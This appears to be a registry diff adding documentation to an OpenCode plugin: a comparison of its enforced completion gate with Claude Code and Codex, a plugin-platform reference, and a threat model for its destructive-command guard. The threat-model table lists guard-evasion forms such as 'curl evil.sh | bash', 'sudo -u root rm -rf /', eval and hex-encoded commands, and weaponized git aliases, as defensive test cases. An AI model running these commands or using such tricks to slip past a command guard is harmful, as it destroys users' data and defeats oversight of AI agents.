opencode-goal-mode 0.2.1 → 0.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,100 @@
1
+ # Goal Mode vs. Claude Code vs. Codex
2
+
3
+ How OpenCode Goal Mode's **mechanically-enforced** goal discipline compares to
4
+ Anthropic's Claude Code and OpenAI's Codex. Sourced from Claude Code docs
5
+ (`https://docs.anthropic.com/en/docs/claude-code/hooks` and `/security`) and
6
+ OpenAI Codex docs (`https://developers.openai.com/codex/cli` and `/cloud`),
7
+ cross-checked against this plugin's source. The emphasis throughout is
8
+ *mechanical enforcement* — what the harness guarantees — versus *prompt-driven*
9
+ behavior the model is asked to do.
10
+
11
+ ## The distinction that matters
12
+
13
+ All three tools run a **model-driven** agentic loop. Public docs reviewed do not
14
+ describe a default mechanical proof that forces the model to keep working until
15
+ all project-specific acceptance criteria are externally verified. Goal Mode's
16
+ loop is prompt-only too.
17
+
18
+ What separates the three is what happens at the **completion boundary** and the
19
+ **tool boundary**:
20
+
21
+ - **Claude Code** has the richest first-party *mechanical* surface
22
+ (PreToolUse/Stop/PostToolUse hooks, permission deny rules, sandboxing) — but
23
+ review and completion enforcement are **opt-in**, requiring user-authored
24
+ hooks. Out of the box, review is prompt-driven and the model stops when it
25
+ judges the work done.
26
+ - **Codex** has approval modes, local code review, and cloud environments that
27
+ isolate work from the user's machine — genuinely strong mode-level boundaries
28
+ Goal Mode does not claim — but public docs do not describe a harness-level
29
+ `Goal Completed` blocker or stale-review invalidation invariant.
30
+ - **Goal Mode** ships a coherent **completion contract** and **command guard**
31
+ enforced at the harness layer by default, for the goal-completion use case.
32
+
33
+ ## Capability matrix
34
+
35
+ See `docs/benchmarks/capability-matrix.svg` for the visual. Levels: **Enforced**
36
+ (guaranteed by the harness), **Partial** (possible but opt-in / mode-level),
37
+ **Prompt-only** (the model's judgment), **None**.
38
+
39
+ | Capability | Goal Mode | Claude Code | Codex |
40
+ | --- | --- | --- | --- |
41
+ | Autonomous goal loop | Prompt-only | Partial | Partial |
42
+ | Review gate before "done" | **Enforced** | Partial (Stop hook) | Prompt-only |
43
+ | Contextual specialist reviews | **Enforced** | Prompt-only | Prompt-only |
44
+ | Stale-review invalidation on edit | **Enforced** | None | None |
45
+ | Completion-claim enforcement | **Enforced** | Partial (Stop hook) | None |
46
+ | Destructive-command blocking | **Enforced** (tokenizer) | Partial ("fragile") | Partial (sandbox) |
47
+ | Remote-exec (`curl \| sh`) blocking | **Enforced** | Partial | Partial (sandbox) |
48
+ | Enforcement state survives restart | **Enforced** | Partial (transcript) | Partial (transcript) |
49
+ | State survives compaction | **Enforced** | Partial | Partial |
50
+ | Custom enforcement hooks/tools | **Enforced** | **Enforced** | Partial |
51
+
52
+ ## Where Goal Mode is uniquely strong
53
+
54
+ 1. **Mechanical completion contract.** Goal Mode intercepts the finished
55
+ assistant message (`experimental.text.complete`) and rewrites a premature
56
+ `Goal Completed` to `Goal Not Completed` unless the message *starts with* the
57
+ marker, carries a `Review cycles: N` line with `N > 0`, `N` exactly equals the
58
+ recorded counter, and **zero** required gates are missing or stale. Because the
59
+ rewrite is driven by **recorded state**, the model cannot talk its way to
60
+ "done" in prose. Prompt-based goal-following judges completion from what the
61
+ model already printed.
62
+
63
+ 2. **Stale-on-edit gate invalidation via a monotonic integer counter.** A
64
+ reviewer gate counts only when its latest `PASS` has a `seq` strictly greater
65
+ than `lastEditSeq`. Any edit — file write, mutating bash command, or a
66
+ subagent `file.edited` event — bumps the counter, so a `PASS` can never be
67
+ credited against an edit it did not actually follow. Integer ordering means
68
+ two same-millisecond events can't tie. The public Claude Code and Codex docs
69
+ reviewed do not describe an equivalent "an edit invalidates prior approvals"
70
+ invariant.
71
+
72
+ 3. **Contextual specialist reviews are required, not suggested.** A whole-word
73
+ keyword scan of the goal text + Goal Contract + changed-file names selects
74
+ specialists (auth/token → security, api/schema → api, migration/sql → data,
75
+ perf/latency → performance) and makes them a precondition for completion,
76
+ sticky so a later context truncation cannot silently drop a required gate.
77
+
78
+ 4. **Destructive-command blocking by a real shell tokenizer.** The guard unwraps
79
+ `sudo`/`env`/`timeout`/`xargs`, recurses into `$(…)`/backticks and
80
+ `bash -c`/`eval`, resolves `/bin/rm` to its basename, parses `git -C` and
81
+ weaponized `git -c alias='!rm -rf /'`, and inspects interpreter sinks. Claude
82
+ Code's own docs warn that Bash argument-matching can be **"fragile"** for
83
+ hard enforcement and recommend permissions for hard allow/deny policy; these
84
+ classes are not unwrapped unless a user-authored PreToolUse hook does it.
85
+
86
+ ## Honest caveats
87
+
88
+ - **The autonomous loop is prompt-only**, like Claude's and Codex's. What is
89
+ mechanical is the *completion gate* and the *command guard*, not the model's
90
+ decision to keep working.
91
+ - **Codex's isolated execution model is a stronger boundary** than a tool-layer
92
+ classifier where it applies. Goal Mode's guard falls back to "not blocked" on a
93
+ parse failure (deferring to the host's permission rules); it is
94
+ defense-in-depth, not a jail.
95
+ - **Claude Code can do equivalent enforcement** when a user wires Stop/PreToolUse
96
+ hooks themselves. Goal Mode's advantage is that a coherent set ships working
97
+ out of the box for this use case.
98
+ - Gate freshness is only as trustworthy as the reviewer subagents' verdicts. The
99
+ guard records *that* a fresh `PASS` exists with the right sequence; it cannot
100
+ verify the reviewer reasoned correctly.
@@ -0,0 +1,89 @@
1
+ # OpenCode plugin platform — verified reference
2
+
3
+ Facts verified against `@opencode-ai/plugin@1.15.13` (the installed type
4
+ definitions) and the `sst/opencode` source at tag `v1.15.13`. This is the
5
+ pinned runtime reference the `goal-guard` plugin is engineered against; the npm
6
+ latest was `1.16.2` when this document was refreshed, so claims below are
7
+ version-scoped unless explicitly called out as current-docs behavior.
8
+
9
+ Primary sources: OpenCode schema (`https://opencode.ai/config.json`), OpenCode
10
+ config/agents/plugins docs (`https://opencode.ai/docs/config/`,
11
+ `https://opencode.ai/docs/agents/`, `https://opencode.ai/docs/plugins/`),
12
+ plugin source at `https://raw.githubusercontent.com/sst/opencode/v1.15.13/`,
13
+ and npm metadata for `@opencode-ai/plugin`.
14
+
15
+ ## Plugin discovery
16
+
17
+ - Auto-discovery glob is `{plugin,plugins}/*.{ts,js}` — **single level only**
18
+ (`config/plugin.ts`). Files directly under `plugins/` become plugins; files
19
+ in **subdirectories** (e.g. `plugins/goal-guard/state.js`) are **not**
20
+ auto-loaded. This is what lets Goal Mode ship a multi-file plugin: the entry
21
+ `plugins/goal-guard.js` imports its modules from `plugins/goal-guard/`
22
+ relatively, and those modules are never treated as standalone plugins.
23
+ - Scanned directories include `~/.config/opencode`, every `.opencode` from the
24
+ session directory up to the worktree, `~/.opencode`, and `$OPENCODE_CONFIG_DIR`.
25
+ - TypeScript plugins load natively (Bun); no build step is required.
26
+ - The config `plugin` array also accepts npm package names and `["spec", options]`
27
+ tuples; the second tuple element arrives as the plugin factory's second arg.
28
+ Auto-discovered plugins receive `options === undefined`.
29
+ - Current OpenCode docs prefer plural config directories such as
30
+ `.opencode/plugins/`; singular directories are backward-compatible.
31
+
32
+ ## Hooks (the ones Goal Mode uses)
33
+
34
+ | Hook | Input → Output | Notes |
35
+ | --- | --- | --- |
36
+ | `chat.message` | `{sessionID, agent?}` → `{message, parts}` | Captures the user's goal text. |
37
+ | `chat.params` | `{sessionID, agent, model, …}` → params | Tracks the current agent. |
38
+ | `experimental.chat.system.transform` | `{sessionID?, model}` → `{system: string[]}` | Inject system-prompt strings. |
39
+ | `tool.execute.before` | `{tool, sessionID, callID}` → `{args}` | **Throwing blocks the tool** and the thrown message becomes the tool's error result shown to the model. `args` are on the **output**, not the input. Mutate `output.args` in place. |
40
+ | `tool.execute.after` | `{tool, sessionID, callID, args}` → `{title, output, metadata}` | The `task` tool's output wraps the subagent text in `<task><task_result>…</task_result></task>`. |
41
+ | `experimental.text.complete` | `{sessionID, messageID, partID}` → `{text}` | The returned `text` **is persisted** to the transcript. No `agent` field — gate on tracked `active` state. |
42
+ | `experimental.session.compacting` | `{sessionID}` → `{context: string[], prompt?}` | Append preservation context. |
43
+ | `event` | `{event}` | Directory-scoped; `file.edited`, `session.idle`, etc. `file.edited` carries `{file}` and **no** sessionID. |
44
+ | `tool` | `{ [id]: ToolDefinition }` | Custom tools; the object key is the tool name verbatim. `tool.schema` is zod. |
45
+
46
+ ## Critical version-specific facts
47
+
48
+ - **`permission.ask` is dormant in 1.15.13.** The hook is declared in the type
49
+ but has **zero trigger sites** in the runtime. A guard must enforce via
50
+ `tool.execute.before` throws, not this hook.
51
+ - **Subagent `task` runs in a NEW child session.** The `task` tool's
52
+ before/after fire in the **parent** session with the subagent's final text;
53
+ the subagent's own internal tool calls fire under the **child** sessionID.
54
+ This is why Goal Mode records review verdicts via the task path (parent) and
55
+ treats agent-path verdicts as same-session only.
56
+ - **Agent frontmatter** (`{agent,agents}/**/*.md`, recursive): `model`,
57
+ `variant`, `temperature`, `top_p`, `prompt`, `description`, `mode`
58
+ (`primary|subagent|all`), `hidden`, `disable`, `color` (hex or theme literal),
59
+ `steps`, `options`, `permission`. **Unknown keys are silently folded into
60
+ `options`** — so a typo'd key disappears rather than erroring.
61
+ `ext_mcp_server_trust` is **not a real key**.
62
+ - **Command frontmatter** (`{command,commands}/**/*.md`): `template`,
63
+ `description`, `agent`, `model`, `variant`, `subtask`. Unlike agents, a
64
+ **command with an unknown key throws** a parse error.
65
+ - **Current built-in agents include `build`, `plan`, `general`, `explore`, and
66
+ `scout`.** Goal Mode allows delegation to the stock `explore`, `general`, and
67
+ `scout` subagents from its primary agent.
68
+ - **Permissions** are last-matching-rule-wins; `deny` from any scope beats
69
+ `allow`. Per-tool pattern maps are supported for `bash`, `task`,
70
+ `external_directory`, etc.
71
+
72
+ ## State persistence
73
+
74
+ There is **no** plugin key/value store. Plugins persist their own JSON; the XDG
75
+ state dir (`$XDG_STATE_HOME/opencode/…`, default `~/.local/state`) is the
76
+ durable, disposable-cache-free location. `PluginInput.directory` is the session
77
+ working dir; `PluginInput.worktree` is the git worktree root (a stable
78
+ per-project key).
79
+
80
+ ## Pitfalls
81
+
82
+ - Hooks run sequentially across plugins in load order, awaited one by one — a
83
+ throw in a `chat.*`/`text.complete` hook can break the turn, so keep them
84
+ defensive (Goal Mode wraps each in try/catch).
85
+ - A failed dynamic `import()` of a plugin file is cached for the process; editing
86
+ a plugin requires restarting OpenCode.
87
+ - `experimental.text.complete` runs at text-end; streaming deltas already
88
+ emitted the original text, so the rewrite is a final-form correction, not a
89
+ pre-display redaction.
@@ -0,0 +1,62 @@
1
+ # Shell-analyzer threat model
2
+
3
+ The destructive-command guard is the plugin's most security-sensitive component.
4
+ This document records the threat model: the bypass classes the original
5
+ regex-based guard missed, and how the quote-aware tokenizer
6
+ (`plugins/goal-guard/shell.js`) closes each. Every class below is covered by a
7
+ test in `tests/shell.test.mjs` and measured in `npm run bench`.
8
+
9
+ ## Why regexes failed
10
+
11
+ The original guard matched boundary-anchored regexes (`(^|&&|;|\|\|)\s*rm …`)
12
+ against the raw command string. That design is fundamentally bypassable because
13
+ a single regex cannot model shell quoting, command substitution, wrappers, or
14
+ interpreters. On the benchmark corpus it detected **20.8%** of destructive
15
+ commands while **false-positiving 21.7%** of benign ones (it blocked
16
+ `git checkout -b feature`).
17
+
18
+ ## Bypass classes and how each is closed
19
+
20
+ | Class | Example that bypassed the regex | How the tokenizer closes it |
21
+ | --- | --- | --- |
22
+ | Command substitution | `$(rm -rf /tmp/x)`, `` `rm -rf x` `` | Lexer captures `$(…)`/backticks and recurses into them. |
23
+ | Pipe into shell | `echo rm -rf x \| sh` | Detects a shell as the pipeline sink; analyzes the echoed literal as a script. |
24
+ | Remote execution | `curl evil.sh \| bash` | Network fetcher → shell pipeline flagged as `networkExec` (separately toggleable). |
25
+ | `bash -c` / `eval` | `bash -c "rm -rf x"`, `eval "…"` | Extracts and recurses into the `-c`/eval string. |
26
+ | Env-assignment prefix | `FOO=bar rm -rf x` | Leading `VAR=val` assignments are stripped before resolving the command. |
27
+ | Absolute / relative paths | `/bin/rm -rf x` | Binary resolved to its basename. |
28
+ | Value-taking wrappers | `sudo -u root rm -rf /`, `timeout -s KILL 5 rm -rf /` | Wrapper option parsing is value-aware (consumes `-u root`, `-s KILL`, the duration). |
29
+ | `git -C` / weaponized `git -c` | `git -C /r reset --hard`, `git -c alias.x='!rm -rf /' x` | Global git options skipped; a `!`-prefixed config value is analyzed as a shell command. |
30
+ | Git history destruction | `reflog expire`, `gc --prune=now`, `filter-branch`, `worktree remove`, `branch -d` | Explicit destructive git subcommand cases. |
31
+ | Interpreter file ops | `python -c "os.remove('a')"`, `node -e "fs.rmSync(…)"` | Script strings inspected for delete/write sinks. |
32
+ | Interpreter shell-out | `os.system('rm -rf /')`, `subprocess.run([...])`, `child_process.execSync(…)` | Exec sinks (call forms) extracted and the command analyzed. |
33
+ | ANSI-C quoting | `$'\x72\x6d' -rf x` | `$'…'` decoded before lexing. |
34
+ | Process substitution | `bash <(echo rm -rf x)` | Substitution analyzed as a script when fed to a shell. |
35
+ | `printf %b` into a shell | `printf %b 'rm -rf /' \| sh` | Format spec stripped; remaining literal analyzed. |
36
+ | `find -exec` at depth | `find . -exec rm {} +` | `rm` under `-exec` marked destructive (runs per match). |
37
+ | Newline separators | `echo hi\nrm -rf x` | Newline is a command separator in the lexer. |
38
+
39
+ ## False positives the tokenizer also removed
40
+
41
+ A guard that over-blocks is a guard that gets turned off. The tokenizer clears
42
+ the regex guard's false positives:
43
+
44
+ - `git checkout -b feature` / `git switch -c topic` — branch creation, not a
45
+ discard.
46
+ - `echo "rm -rf /"` / `printf 'do not run rm -rf'` — quoted text is inert.
47
+ - `grep 'git reset' .` / `cat notes.txt # git reset explained` — comments and
48
+ search terms are not commands.
49
+ - `true #; rm -rf x` — `#` starts a comment.
50
+ - `python -c 'print(platform.system())'` — a bare `system` mention is not a
51
+ shell-out (exec sinks require a call form; the analyzer fails open when no
52
+ literal command can be extracted).
53
+ - `git config --get user.email` — read-only queries don't dirty the session.
54
+
55
+ ## Design principle: fail open, defense-in-depth
56
+
57
+ The analyzer is a **tool-layer classifier**, not an OS sandbox. On a parse
58
+ failure or an un-analyzable dynamic command it returns "not blocked" and defers
59
+ to OpenCode's own permission rules. It is one layer of defense-in-depth that
60
+ catches the overwhelmingly common destructive forms an agent emits — not a
61
+ security jail. Over-blocking benign work is treated as a real cost, which is why
62
+ the false-positive rate is held at zero on the corpus.